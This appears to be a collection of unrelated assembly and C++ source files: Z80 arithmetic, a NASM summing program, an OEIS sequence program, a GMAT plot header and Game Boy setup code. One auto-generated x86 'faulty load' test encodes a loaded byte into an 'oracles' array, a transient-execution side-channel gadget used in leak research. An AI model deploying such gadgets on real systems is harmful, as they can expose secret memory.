ld a,c ; e = e + c + carry
adc e ; .
ld e,a ; .
ld a,b ; d = b + d + carry (signed)
adc d ;
or iyh ; d = or back in sign bit
ld d,a ;
ret ; done
.SignDifferent: ld a,b ; bch = abs bch
ld iyh,a ; iyh = b sign
and SignMask8Bit ; .
ld b,a ; .
ld a,d ; del = abs del
ld iyl,a ; iyl = d sign
and SignMask8Bit ; .
ld d,a ; .
push hl ; save hl
ld hl,bc ; hl = bc - de, if bc < de then there is a carry
sbc hl,de ;
pop hl ;
jr c,.BCHltDEL
jr nz,.DELltBCH ; if the result was not zero then DEL > BCH
.BCeqDE: ld a,h ; if the result was zero then check lowest bits
JumpIfALTNusng l,.BCHltDEL
jr nz,.DELltBCH
; The same so its just zero
.BCHeqDEL: xor a ; its just zero
ld d,a ; .
ld e,a ; .
ld l,a ; .
ret ; .
;BCH is less than DEL so its DEL - BCH the sort out sign
.BCHltDEL: ld a,l ; l = l - h ; ex
sub h ; . ; 01D70F DEL
ld l,a ; . ; -000028 BCH
ld a,e ; e = e - c - carry ;1.
sbc c ; . ;
ld e,a ; . ;
ld a,d ; d = d - b - carry ;
sbc b ; . ;
ld d,a ; . ;
ld a,iyl ; as d was larger, take d sign
and SignOnly8Bit ;
or d ;
ld d,a ;
ret
.DELltBCH: ld a,h ; l = h - l
sub l ;
ld l,a ;
ld a,c ; e = c - e - carry
sbc e ;
ld e,a ;
ld a,b ; d = b - d - carry
sbc d ;
ld d,a ;
ld a,iyh ; as b was larger, take b sign into d
and SignOnly8Bit ;
or d ;
ld d,a ;
ret
;BHL = AHL + DE where AHL = 16 bit + A sign and DE = 15 bit signed
AddAHLtoDEsigned: ld b,a ; B = A , C = D (save sign bytes)
ld c,d ; .
xor c ; A = A xor C
res 7,d ; clear sign bit of D
jr nz, .OppositeSigns ; if A xor C is opposite signs job to A0A1
add hl,de ; HL = HL + DE
ret ; return
.OppositeSigns: sbc hl,de ; HL = HL -DE
ret nc ; if no carry return
add hl,de ; else HL = HL + DE
ex de,hl ; swap HL and DE
and a ; reset carry
sbc hl,de ; HL = DE - HL (as they were swapped)
ld b,c ; B = sign of C
ret ; ret
; a = value to add
; b = offset (equivalent to regX)
; returns INWK [x] set to new value
addINWKbasigned:
ld hl,UBnKxlo ; hl = INWK 0
ld c,a ; preserve a
ld a,b
add hl,a ; hl = INWK[x]
ld a,c ; get back a value
and $80 ; get sign bit from a
ld b,a ; now b = sign bit of a
ld a,c ; a = original value
and SignMask8Bit ; a = unsigned version of original value
; hl = unsigned version of INWK0[b]
; a = value to add, also in c which will optimise later code
; b = sign bit of a ( in old code was varT)
addhlcsigned:
ld e,(hl) ; de = INKK value
inc hl
ld d,(hl)
inc hl ; now pointing a sign
ld a,(hl) ; a = sign bit
ex de,hl ; hl = value now and de = pointer to sign
xor b ; a = resultant sign
bit 7,a ; is it negative?
jr z,.postivecalc
.negativecalc:
ld a,h
and SignMask8Bit
ld h,a ; strip high bit
ld ixl,b ; save sign bit from b into d
ld b,0 ; c = value to subtract so now bc = value to subtract
sbc hl,bc
ld b,ixl ; get sign back
ex de,hl ; de = value hl = pointer to sign
ld a,(hl) ;
and SignMask8Bit
sbc a,0 ; subtract carry which could flip sign bit
or $80 ; set bit 0
xor b ; flip bit on sign (var T)
ld (hl),a
dec hl
ld (hl),d
dec hl
ld (hl),e ; write out DE to INKW[x]0,1
ex de,hl ; hl = value de = pointer to start if INKW[x]
ret c ; if carry was set then we can exit now
.nocarry:
NegHL ; get hl back to positive, a is still inkw+2
or b ; b is still varT
ex de,hl ; de = value hl = pointer to start if INKW[x]
ld (hl),e
inc hl
ld (hl),d
inc hl
ld (hl),a ; set sign bit in INKK[x]+2
ex de,hl ; hl = value de = pointer to sign
ret
.postivecalc:
ld ixl,b
ld b,0
add hl,de
ex de,hl
or ixl ; we don;t need to recover b here
ld (hl),a ; push sign into INWK[x]
dec hl
ld (hl),d
dec hl
ld (hl),e
ret
;a = a AND 80 (i.e. bit 7) =>carry so value is -
;MVT1
; S = bits 6 to 0 of A
; A = sign bit => T
; xor sign bit with ink[x] Sign
; if negative thn its not an add
;
; and h, 7F
; b = 0
; c = varS
; subtract INW[X]hilo, bc
; retain carry
; get INKW[x]Sign
; and 7F
; subtract carry (so will go negtive if negative)
; xor bit 7 of h with T to flip bit
; write to INKW[x]Sign
;
; else
;MV10.
; add INWK[x]hi,lo, varS
; or sign bit
|
segment .data
fmt: dq "%lld ",10,0
ssfmt: dq "%lld",0
segment .bss
a: resq 255
b: resq 2
c: resq 2
d: resq 2
cn: resq 2
segment .text
global main
extern printf
extern scanf
main:
push RBP
xor rcx, rcx
mov [c] , rcx
xor rax , rax
mov rdi, ssfmt
mov rsi , cn
call scanf
ll:
mov rcx, [b]
mov rbx , rcx
xor rax, rax
mov rdi , ssfmt
mov rsi, d
call scanf
mov rax , [d]
mov [a+rbx*8],rax
xor rax , rax
add rax, [c]
add rax, [d]
mov [c], rax
mov rcx , [b]
INC rcx
mov [b], rcx
mov r8 , [cn]
cmp rcx ,r8
jl ll
pr:
xor rax , rax
mov rdi , fmt
mov rsi , [c]
call printf
pop RBP
ret
|
; void p_forward_list_alt_init_fastcall(void *p)
SECTION code_clib
SECTION code_adt_p_forward_list_alt
PUBLIC _p_forward_list_alt_init_fastcall
EXTERN asm_p_forward_list_alt_init
defc _p_forward_list_alt_init_fastcall = asm_p_forward_list_alt_init
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xc415, %rdx
nop
nop
nop
inc %r8
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
and $0xffffffffffffffc0, %rdx
movntdq %xmm5, (%rdx)
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0x1647, %rsi
lea addresses_A_ht+0x25a7, %rdi
nop
nop
nop
inc %r8
mov $12, %rcx
rep movsw
nop
xor %rcx, %rcx
lea addresses_WT_ht+0xc249, %rbx
clflush (%rbx)
cmp %rax, %rax
mov (%rbx), %edi
and %r8, %r8
lea addresses_WT_ht+0x4753, %rax
nop
nop
nop
nop
nop
add %r8, %r8
mov (%rax), %edx
nop
nop
inc %rcx
lea addresses_WC_ht+0xeb27, %rcx
nop
nop
dec %r8
vmovups (%rcx), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %rdi
nop
nop
xor $33637, %rbx
lea addresses_WT_ht+0x49a7, %rcx
and %rbx, %rbx
mov $0x6162636465666768, %rdi
movq %rdi, (%rcx)
nop
nop
and $5829, %rcx
lea addresses_UC_ht+0x10b87, %rsi
and %rcx, %rcx
movb (%rsi), %bl
nop
nop
inc %rsi
lea addresses_normal_ht+0x14542, %rsi
lea addresses_WT_ht+0x46fb, %rdi
nop
nop
nop
nop
nop
and %rax, %rax
mov $99, %rcx
rep movsw
nop
nop
xor %r8, %r8
lea addresses_A_ht+0x11a7, %rdx
clflush (%rdx)
nop
add $52130, %rdi
mov (%rdx), %r8w
nop
nop
inc %rdx
lea addresses_UC_ht+0x9da7, %rbx
nop
nop
nop
nop
cmp %rax, %rax
movw $0x6162, (%rbx)
nop
nop
sub $14538, %rbx
lea addresses_UC_ht+0xfda7, %rsi
nop
nop
sub %rdx, %rdx
movw $0x6162, (%rsi)
nop
nop
nop
nop
nop
inc %rdx
lea addresses_A_ht+0x105a7, %rsi
dec %rcx
movw $0x6162, (%rsi)
nop
nop
nop
nop
and %rbx, %rbx
lea addresses_D_ht+0x1cb27, %r8
nop
nop
nop
nop
add $19435, %rdx
mov (%r8), %eax
nop
nop
nop
nop
and $60087, %rcx
lea addresses_WT_ht+0x1cb87, %rsi
lea addresses_WT_ht+0x91a7, %rdi
nop
nop
inc %r13
mov $117, %rcx
rep movsq
nop
nop
inc %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %r9
push %rax
push %rdx
// Store
lea addresses_D+0x10927, %rax
nop
nop
cmp $20629, %r14
movl $0x51525354, (%rax)
nop
nop
nop
cmp $60713, %r13
// Store
lea addresses_PSE+0x1fc67, %r13
nop
add $9090, %r9
movl $0x51525354, (%r13)
nop
nop
add %r9, %r9
// Store
lea addresses_US+0xd1a7, %rdx
nop
nop
inc %r12
movb $0x51, (%rdx)
nop
nop
nop
nop
nop
and %r15, %r15
// Store
mov $0x38f97100000005cb, %r9
nop
inc %r15
mov $0x5152535455565758, %r12
movq %r12, %xmm3
vmovups %ymm3, (%r9)
nop
nop
nop
sub $5500, %rax
// Faulty Load
lea addresses_WC+0x1ada7, %rdx
nop
nop
nop
nop
cmp %r14, %r14
movb (%rdx), %al
lea oracles, %r14
and $0xff, %rax
shlq $12, %rax
mov (%r14,%rax,1), %rax
pop %rdx
pop %rax
pop %r9
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'00': 3329}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A023887: a(n) = sigma_n(n): sum of n-th powers of divisors of n.
; 1,5,28,273,3126,47450,823544,16843009,387440173,10009766650,285311670612,8918294543346,302875106592254,11112685048647250,437893920912786408,18447025552981295105,827240261886336764178,39346558271492178925595,1978419655660313589123980,104857700000096466944316978,5842587018944528395924761632,341427958766968944236412031210,20880467999847912034355032910568,1333735856351858432985890996140258,88817841970012523531913757324218751,6156119671940487504065290946866928650
add $0,1
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
pow $3,$2
add $1,$3
lpe
add $1,1
mov $0,$1
|
//$Id$
//------------------------------------------------------------------------------
// OwnedPlot
//------------------------------------------------------------------------------
// GMAT: General Mission Analysis Tool
//
// Copyright (c) 2002 - 2017 United States Government as represented by the
// Administrator of the National Aeronautics and Space Administration.
// All Other Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// You may not use this file except in compliance with the License.
// You may obtain a copy of the License at:
// http://www.apache.org/licenses/LICENSE-2.0.
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
// express or implied. See the License for the specific language
// governing permissions and limitations under the License.
//
// Developed jointly by NASA/GSFC and Thinking Systems, Inc. under contract
// number NNG06CA54C
//
// Author: Darrel Conway, based on XyPlot code by Linda Jun
// Created: 2009/09/28
//
/**
* Defines XyPlot class controlled by Sandbox elements rather than Subscribers.
*/
//------------------------------------------------------------------------------
#ifndef OwnedPlot_hpp
#define OwnedPlot_hpp
#include "GmatBase.hpp"
#include "Subscriber.hpp"
/**
* The OwnedPlot class provides access to plotting capabilities for components
* that need to display graphical information for that component only, without
* generating object to object interactions or data passing through GMAT's
* Publisher. This component is wholly owned by another, which passes in data
* and controls plot updates using the interfaces defined here.
*
* OwnedPlot objects talk to the graphical components through the PlotInterface
* and PlotReceiver classes. The standard GMAT GUI interface for this
* communication is the GuiPlotReceiver, which connects the plot messages to a
* XyPlot object displayed on the GUI.
*
* OwnedPlots are not Subscribers that show up on the Resource tree in GMAT.
* They exist inside of other objects that own them and control their
* allocation, processing, and deallocation.
*/
class GMAT_API OwnedPlot : public Subscriber
{
public:
OwnedPlot(const std::string &name, const std::string &plotTitle = "",
const std::string &xAxisTitle = "",
const std::string &yAxisTitle = "");
OwnedPlot(const OwnedPlot &orig);
OwnedPlot& operator=(const OwnedPlot& orig);
virtual ~OwnedPlot(void);
// methods inherited from Subscriber
virtual bool Initialize();
// methods inherited from GmatBase
virtual GmatBase* Clone() const;
virtual void Copy(const GmatBase* orig);
virtual bool SetName(const std::string &who,
const std::string &oldName = "");
virtual bool TakeAction(const std::string &action,
const std::string &actionData = "");
virtual bool RenameRefObject(const Gmat::ObjectType type,
const std::string &oldName,
const std::string &newName);
virtual std::string GetParameterText(const Integer id) const;
virtual Integer GetParameterID(const std::string &str) const;
virtual Gmat::ParameterType
GetParameterType(const Integer id) const;
virtual std::string GetParameterTypeString(const Integer id) const;
virtual bool IsParameterReadOnly(const Integer id) const;
virtual Integer GetIntegerParameter(const Integer id) const;
virtual Integer GetIntegerParameter(const std::string &label) const;
virtual Integer SetIntegerParameter(const Integer id,
const Integer value);
virtual Integer SetIntegerParameter(const std::string &label,
const Integer value);
virtual bool GetBooleanParameter(const Integer id) const;
virtual bool GetBooleanParameter(const std::string &label) const;
virtual bool SetBooleanParameter(const Integer id,
const bool value);
virtual bool SetBooleanParameter(const std::string &label,
const bool value);
virtual std::string GetOnOffParameter(const Integer id) const;
virtual bool SetOnOffParameter(const Integer id,
const std::string &value);
virtual std::string GetOnOffParameter(const std::string &label) const;
virtual bool SetOnOffParameter(const std::string &label,
const std::string &value);
virtual std::string GetStringParameter(const Integer id) const;
virtual std::string GetStringParameter(const std::string &label) const;
virtual bool SetStringParameter(const Integer id,
const std::string &value);
virtual bool SetStringParameter(const std::string &label,
const std::string &value);
virtual bool SetStringParameter(const Integer id,
const std::string &value,
const Integer index);
virtual bool SetStringParameter(const std::string &label,
const std::string &value,
const Integer index);
virtual const StringArray&
GetStringArrayParameter(const Integer id) const;
virtual const StringArray&
GetStringArrayParameter(const std::string &label) const;
virtual bool Activate(bool state = true);
bool Deactivate();
// Methods used to access the plot
virtual void SetData(std::vector<RealArray*> &dataBlast,
RealArray hiErrors, RealArray lowErrors);
virtual void SetCurveData(const Integer forCurve, RealArray *xData,
RealArray *yData, const RealArray *yhis = NULL,
const RealArray *ylows = NULL);
virtual bool MarkPoint(Integer whichOne = -1, Integer forCurve = -1);
virtual Integer SetUsedDataID(Integer id, Integer forCurve = -1);
virtual void SetUsedObjectID(Integer id);
virtual Integer UsesData(Integer id);
virtual Integer UsesObject(Integer id);
protected:
StringArray curveNames;
IntegerArray curveDataIDs;
// These arrays store the default settings, curve by curve They default to
// the plot level settings unless the user overrides them
/// Curve colors; default is 0xFF0000 (Blue)
IntegerArray curveColor;
/// Line width used to draw lines and markers; default is 1
IntegerArray curveLineWidth;
/// Line style for each line; default is wxSOLID
IntegerArray curveLineStyle;
/// Marker styles for the curves; these iterate through the defined styles
IntegerArray curveMarker;
/// Marker size; default is 3
IntegerArray curveMarkerSize;
/// Curve by curve useLines setting
std::vector<bool> curveUseLines;
/// Curve by curve useMarkers setting
std::vector<bool> curveUseMarkers;
/// Curve by curve useHiLow setting
std::vector<bool> curveUseHiLow;
std::string mOldName;
std::string mPlotTitle;
std::string mXAxisTitle;
std::string mYAxisTitle;
std::string mDrawGrid;
bool mIsOwnedPlotWindowSet;
Integer mDataCollectFrequency;
Integer mUpdatePlotFrequency;
/// Default color
IntegerArray defaultColor;
/// Default marker size; initialized to 3
Integer markerSize;
/// Default marker style; initialized to -1, meaning set by curve number
Integer markerStyle;
/// Default line width used to draw lines and markers; default is 1
Integer lineWidth;
/// Default line style; initialized to a solid line
Integer lineStyle; // If this breaks, check the enum value for wxSOLID
bool useLines;
bool useMarkers;
bool useHiLow;
IntegerArray supportedData;
IntegerArray supportedObjects;
bool active;
bool showLegend;
bool isEndOfReceive;
bool isEndOfRun;
bool isInitialized;
std::string mSolverIterations;
Gmat::RunState runstate;
void BuildPlotTitle();
bool ClearYParameters();
bool RemoveYParameter(const std::string &name);
bool ResetYParameters();
bool PenUp();
bool PenDown();
bool RescaleData();
void DeletePlotCurves();
enum
{
ADD = GmatBaseParamCount,
PLOT_TITLE,
X_AXIS_TITLE,
Y_AXIS_TITLE,
DRAW_GRID,
DATA_COLLECT_FREQUENCY,
UPDATE_PLOT_FREQUENCY,
SHOW_PLOT,
SHOW_LEGEND,
DEFAULT_COLOR,
USE_LINES,
LINE_WIDTH,
LINE_STYLE,
USE_MARKERS,
MARKER_SIZE,
MARKER_STYLE,
USE_HI_LOW,
OwnedPlotParamCount
};
static const Gmat::ParameterType
PARAMETER_TYPE[OwnedPlotParamCount - GmatBaseParamCount];
static const std::string
PARAMETER_TEXT[OwnedPlotParamCount - GmatBaseParamCount];
};
#endif
|
;;; $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
;;;
;;; ASM Source code for Red GBC, by Evan Bowman, 2021
;;;
;;;
;;; The following licence covers the source code included in this file. The
;;; game's characters and artwork belong to Evan Bowman, and should not be used
;;; without permission.
;;;
;;;
;;; Redistribution and use in source and binary forms, with or without
;;; modification, are permitted provided that the following conditions are met:
;;;
;;; 1. Redistributions of source code must retain the above copyright notice,
;;; this list of conditions and the following disclaimer.
;;;
;;; 2. Redistributions in binary form must reproduce the above copyright notice,
;;; this list of conditions and the following disclaimer in the documentation
;;; and/or other materials provided with the distribution.
;;;
;;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
;;; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
;;; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
;;; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
;;; SUBSTITUTE GOODS OR SERVICES LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
;;; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
;;; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
;;; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
;;; POSSIBILITY OF SUCH DAMAGE.
;;;
;;; $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
r1_VBlankPoll:
; Intended for waiting on vblank while interrupts are disabled, but the screen
; is still on.
ld a, [rLY]
cp SCRN_Y
jr nz, r1_VBlankPoll
ret
;;; ----------------------------------------------------------------------------
r1_InitWRam:
ld a, 0
ld hl, _RAM
;; We don't want to zero the stack, or how will we return from this fn?
ld bc, STACK_END - _RAM
fcall Memset
ld d, 1
.loop:
ld a, d
cp 8
jr Z, .done
ld [rSVBK], a
ld hl, _RAMBANK
ld bc, ($DFFF - _RAMBANK) - 1
ld a, 0
fcall Memset
inc d
jr .loop
.done:
ld a, 0
ld [rSVBK], a
ret
r1_InitRam:
;;; trashes hl, bc, a
ld a, 0
ld hl, _HRAM
ld bc, $80
fcall Memset
fcall r1_InitWRam
ret
;;; ----------------------------------------------------------------------------
r1_SetCpuFast:
ld a, [rKEY1]
bit 7, a
jr z, .impl
ret
.impl:
ld a, $30
ld [rP1], a
ld a, $01
ld [rKEY1], a
stop
ret
;;; ----------------------------------------------------------------------------
r1_CopyDMARoutine:
ld hl, DMARoutine
ld b, DMARoutineEnd - DMARoutine ; Number of bytes to copy
ld c, LOW(hOAMDMA) ; Low byte of the destination address
.copy
ld a, [hli]
ldh [c], a
inc c
dec b
jr nz, .copy
ret
DMARoutine:
ldh [rDMA], a
ld a, 40
.wait
dec a
jr nz, .wait
ret
DMARoutineEnd:
;;; ----------------------------------------------------------------------------
r1_SmoothstepLut::
DB $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $01, $01, $01, $01, $02, $02,
DB $02, $03, $03, $04, $04, $04, $05, $05,
DB $06, $06, $07, $07, $08, $09, $09, $0A,
DB $0B, $0B, $0C, $0D, $0D, $0E, $0F, $10,
DB $10, $11, $12, $13, $14, $15, $15, $16,
DB $17, $18, $19, $1A, $1B, $1C, $1D, $1E,
DB $1F, $20, $21, $22, $23, $24, $25, $27,
DB $28, $29, $2A, $2B, $2C, $2D, $2F, $30,
DB $31, $32, $33, $35, $36, $37, $38, $3A,
DB $3B, $3C, $3E, $3F, $40, $42, $43, $44,
DB $46, $47, $48, $4A, $4B, $4D, $4E, $4F,
DB $51, $52, $54, $55, $56, $58, $59, $5B,
DB $5C, $5E, $5F, $61, $62, $63, $65, $66,
DB $68, $69, $6B, $6C, $6E, $6F, $71, $72,
DB $74, $75, $77, $78, $7A, $7B, $7D, $7E,
DB $80, $81, $83, $84, $86, $87, $89, $8A,
DB $8C, $8D, $8F, $90, $92, $93, $95, $96,
DB $98, $99, $9B, $9C, $9D, $9F, $A0, $A2,
DB $A3, $A5, $A6, $A8, $A9, $AA, $AC, $AD,
DB $AF, $B0, $B1, $B3, $B4, $B6, $B7, $B8,
DB $BA, $BB, $BC, $BE, $BF, $C0, $C2, $C3,
DB $C4, $C6, $C7, $C8, $C9, $CB, $CC, $CD,
DB $CE, $CF, $D1, $D2, $D3, $D4, $D5, $D6,
DB $D7, $D9, $DA, $DB, $DC, $DD, $DE, $DF,
DB $E0, $E1, $E2, $E3, $E4, $E5, $E6, $E7,
DB $E8, $E9, $E9, $EA, $EB, $EC, $ED, $EE,
DB $EE, $EF, $F0, $F1, $F1, $F2, $F3, $F3,
DB $F4, $F5, $F5, $F6, $F7, $F7, $F8, $F8,
DB $F9, $F9, $FA, $FA, $FA, $FB, $FB, $FC,
DB $FC, $FC, $FD, $FD, $FD, $FD, $FE, $FE,
DB $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FF,
r1_SmoothstepLutEnd::
r1_Smoothstep:
;;; c - value
;;; a - return value
;;; trashes hl, b
ld b, 0
ld hl, r1_SmoothstepLut
add hl, bc
ld a, [hl]
ld c, a
ret
;;; ----------------------------------------------------------------------------
r1_HalfSineLut::
DB $00, $03, $06, $09, $0C, $0F, $12, $15,
DB $18, $1C, $1F, $22, $25, $28, $2B, $2E,
DB $30, $33, $36, $39, $3C, $3F, $41, $44,
DB $47, $49, $4C, $4E, $51, $53, $55, $58,
DB $5A, $5C, $5E, $60, $62, $64, $66, $68,
DB $6A, $6C, $6D, $6F, $70, $72, $73, $75,
DB $76, $77, $78, $79, $7A, $7B, $7C, $7C,
DB $7D, $7E, $7E, $7F, $7F, $7F, $7F, $7F,
DB $80, $7F, $7F, $7F, $7F, $7F, $7E, $7E,
DB $7D, $7C, $7C, $7B, $7A, $79, $78, $77,
DB $76, $75, $73, $72, $70, $6F, $6D, $6C,
DB $6A, $68, $66, $64, $62, $60, $5E, $5C,
DB $5A, $58, $55, $53, $51, $4E, $4C, $49,
DB $47, $44, $41, $3F, $3C, $39, $36, $33,
DB $30, $2E, $2B, $28, $25, $22, $1F, $1C,
DB $18, $15, $12, $0F, $0C, $09, $06, $03,
r1_HalfSineLutEnd::
ASSERT(r1_HalfSineLutEnd - r1_HalfSineLut == 128)
